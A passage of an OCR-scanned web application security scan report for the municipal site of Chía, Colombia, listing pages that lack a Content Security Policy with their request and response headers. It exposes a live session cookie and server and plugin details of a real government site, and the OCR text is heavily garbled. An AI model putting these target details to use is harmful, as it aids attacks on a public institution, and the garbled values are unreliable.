User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Content - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
[ wp-j son/ wp/ v2/ posts/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
ht t ps: // chi a- cundi namar ca. gov. co/ control panel / has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J%2c4b043945560f da9514b19964b4b5be42

RESPONSE HEADERS
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SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 127 of 348
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HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 01:57:07 GVI
Cont ent - Type: text/htm

Transfer - Encodi ng: chunked
Connection: keep-alive

Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ partici pa/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:39: 13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/test. php has no Content Security Policy defined.

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/participa/
https://chia-cundinamarca.gov.co/test.php

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
https://chi a- cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
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[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-

cultura-en-chia/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2024/ 12/ 17/ | os- sal ones-de- art es- pl asti cas- abren-sus-puertas-para-el -arte-y-cul tura-
en-chia/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas- abren-sus-puertas-para-el-arte-y-
cul tura-en-chial

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22370>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ama- de- gest i on-docunental / has no Content Security Policy
def i ned.

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gesti on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ tram tes-y-servicios/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanarca. gov. co/ web/trami tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx
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https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Date: Thu, 19 Dec 2024 03:50:28 GVII
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/",
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json"

/ web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

<https://chi a- cundi namar ca. gov. co/ web
<https://chi a- cundi namar ca. gov. co

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00: 15:28 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/",

<https://chi a- cundi namar ca. gov. co/ web

/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov. co

/web/ >; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/
X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification
OUTPUT
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https://chia-cundinamarca.gov.co/web/
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

https://chi a- cundi nanar ca. gov. co/ i ndex. php/tram tes-y-servicios/si shen has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sishen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: ngi nx

Date: Thu, 19 Dec 2024 04:01:41 GMVI

Content-Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5h853b5f 45bde4860b15€2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GVI

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ t ranspar enci a-y- acceso- a- 1| a-i nf ornaci on- publ i ca/ has no Content Security Policy
def i ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a-y-acceso- a-| a-i nfor maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A.Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 135 of 348


https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Date: Thu, 19 Dec 2024 00:38:08 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
htt ps://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 585>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on-de- 1 a-enti dad/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
https://chi a-cundi nanar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- predi al - uni fi cado/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ i nages/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVl

Cont ent - Type: text/htn

Content-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-

factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/images/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

htt ps://chi a- cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-fact ura-de-
| 0s-i mpuest os-predi al -e-ica/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-I|os-inpuestos-predial-e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ post s/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te- para-solicitar-certificados-de-resi dencia-en-el-territorio-de-
chi a-y-personerias-juridicas/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbi l e: 2?0

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/ >;

/ wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON';

/ web/ ?p=7526>; rel =shortlink
X- TEC- APl - VERSI O\ v1

rel ="https://api.w org/",
type="application/json",

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

